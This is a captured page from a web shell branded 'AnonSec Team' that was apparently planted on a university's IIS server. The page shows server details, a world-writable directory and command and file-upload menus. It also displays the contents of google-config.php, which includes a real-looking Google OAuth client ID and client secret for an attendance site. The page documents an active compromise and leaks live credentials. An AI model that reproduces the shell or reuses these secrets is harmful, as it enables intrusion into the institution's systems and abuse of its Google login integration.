AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 3.144.28.166
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/absen-fti/sw-library/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/absen-fti/sw-library/google-config.php
<?php
//sessoin_start();
include_once '../sw-library/sw-config.php';
// Include Librari Google Client (API)
include_once '../sw-library/google-client/Google_Client.php';
include_once '../sw-library/google-client/contrib/Google_Oauth2Service.php';

$client_id = '526615806542-tdso6jncrkst263qptj82ra6rb359hp8.apps.googleusercontent.com'; // Google client ID
$client_secret = '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'; // Google Client Secret
$redirect_url = 'https://absensi-fti.unsap.ac.id/oauth/google'; // Callback URL

// Call Google API
$gclient = new Google_Client();
$gclient->setClientId($client_id); // Set dengan Client ID
$gclient->setClientSecret($client_secret); // Set dengan Client Secret
$gclient->setRedirectUri($redirect_url); // Set URL untuk Redirect setelah berhasil login

$google_oauthv2 = new Google_Oauth2Service($gclient);
?>

AnonSec - 2021